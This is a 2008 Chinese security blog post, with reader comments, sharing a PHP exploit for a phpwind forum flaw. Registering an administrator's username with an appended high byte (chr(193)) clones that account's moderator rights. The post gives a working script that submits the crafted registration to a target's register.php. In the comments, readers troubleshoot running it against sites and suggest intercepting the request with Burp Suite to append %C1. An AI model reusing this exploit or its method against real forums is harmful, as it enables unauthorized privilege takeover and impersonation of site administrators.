首页 » 工具收集 » phpwind管理权限泄露漏洞利用程序PHP版

phpwind管理权限泄露漏洞利用程序PHP版

鬼仔:昨天发了phpwind管理权限泄露漏洞+利用程序,利用程序是python写的,很多朋友说不会用,今天看到yuehei同学的留言说他重写成PHP的了。

作者:yuehei
来源:yuehei 两点之间

一直订阅鬼仔的blog,今天发现PW又出漏洞
http://huaidan.org/archives/2036.html

漏洞原因是Mysql会舍弃没有用处的ASCII129-255,搜了资料也没有找到为什么,PW最大失误不是程序,而是没有把username设为唯一。

可以构造一个和某个管理人员名字一样的ID再加上一个无效的ASCII码进行注册,表中会出现二个一样的用户名,而forums.forumadmin字段里存的用户名,这样就可获得全部的前台权限。

使用PHP构造的测试代码。

<?php
if (empty($_GET['sub'])) {
    print <<<EOT
        <form action="" method="get"><br />
        <input type="text" name="url" /><br />
        <input type="text" name="regname" /><br />
        <input type="submit" name="sub" value="提交" />
        </form>
EOT;
} else {
    extract($_GET);
    $regname .= chr(193);
    $data = array(
        'regname' => $regname,
        'regpwd' => 147852,
        'regpwdrepeat' => 147852,
        'regemail' => 'llll@Ll.com',
        'regemailtoall' => 1,
        'step' => 2
    );    

    $url .= '/register.php';
    $includePath = ini_get('include_path');
    $includePath .=';D:\www\pear';
    ini_set('include_path', $includePath);
    include('HTTP/Client.php');
    $http = new HTTP_Client();
    var_dump($http->post($url, $data));
}

相关日志

楼被抢了 13 层了... 抢座Rss 2.0或者 Trackback

  1. v Reply to this comment 2008/06/02 18:25 #1

    漏洞原因是Mysql会舍弃没有用处的ASCII129-255

  2. Black-Xstar Reply to this comment 2008/06/02 18:34 #2

    终于看懂了这个漏洞的原理……

  3. wildboy Reply to this comment 2008/06/02 20:59 #3

    提交表单的代码应该把"改成'吧
    把 print <<<EOT

    EOT;
    改成
    print "

    ";

  4. yezi Reply to this comment 2008/06/03 9:11 #4

    HTTP/Client.php

    这个是啥子文件哦?貌似某提供嘛
    能否提供下?

  5. yezi Reply to this comment 2008/06/03 9:17 #5

    搞定了client
    但是还是报错
    Fatal error: Class 'HTTP_Client' not found in e:\wwwroot\yezi\wwwroot\blog\upload\php4.php on line 27

    <?php
    if (empty($_GET['sub'])) {
    print <<<EOT

    EOT;
    } else {
    extract($_GET);
    $regname .= chr(193);
    $data = array(
    'regname' => $regname,
    'regpwd' => 147852,
    'regpwdrepeat' => 147852,
    'regemail' => 'llll@Ll.com',
    'regemailtoall' => 1,
    'step' => 2
    );

    $url .= '/register.php';
    $includePath = ini_get('include_path');
    $includePath .=';e:\wwwroot\yezi\wwwroot\blog\upload';
    ini_set('include_path', $includePath);
    include('Client.php');
    $http = new HTTP_Client();
    var_dump($http->post($url, $data));
    }
    ?>

  6. yezi Reply to this comment 2008/06/03 9:36 #6

    可以提交了
    string(3) "400" Array

    。。。
    但是还是无法登陆呀!

  7. vertusd Reply to this comment 2008/06/03 19:21 #7

    我没用这个PHP脚本或是POTHON,直接用浏览器代理拦截 ,修改POST数据 ,然后在注册名后加%C11。
    最新版的,可以用UID登陆,但是,大部分前台权限都没有,但是版务管理可以看到,点击后却说你没有权限,但FTP流量,等插件里面确实是被克隆的人。

  8. vertus Reply to this comment 2008/06/03 20:04 #8

    yezi ,他那个PHP我也试了的,需要用PEAR的 HTTP_CLIENT这个组件,我是在本机架设,然后用PEAR.BAT下载安装这个组件,但是注册的页面有认证码,所以这个是没有用的,只能用浏览器代理了

  9. sunny520 Reply to this comment 2008/06/03 23:42 #9

    vertusd,你那个可以修改post数据的浏览器是什么浏览器呢

  10. sunny520 Reply to this comment 2008/06/04 1:44 #10

    测试完了
    前台基本上没什么权限

  11. vertusd Reply to this comment 2008/06/04 9:16 #11

    用的BURPSUITE

  12. 大叔 Reply to this comment 2008/08/02 17:04 #12

    请问一下
    两个可填写区域里面
    上面一个写网站地址
    下面一个写版主的用户名
    提交的时候出现 int(200)

    请朋友们帮忙分析一下

    成功的兄弟加我 150019690
    大家探讨一下

  13. neverm0re Reply to this comment 2008/08/30 8:55 #13

    请问下,注册成功如何用uid登陆?不清楚自己uid啊.我是用的winexpert抓包,另外发出去的

发表评论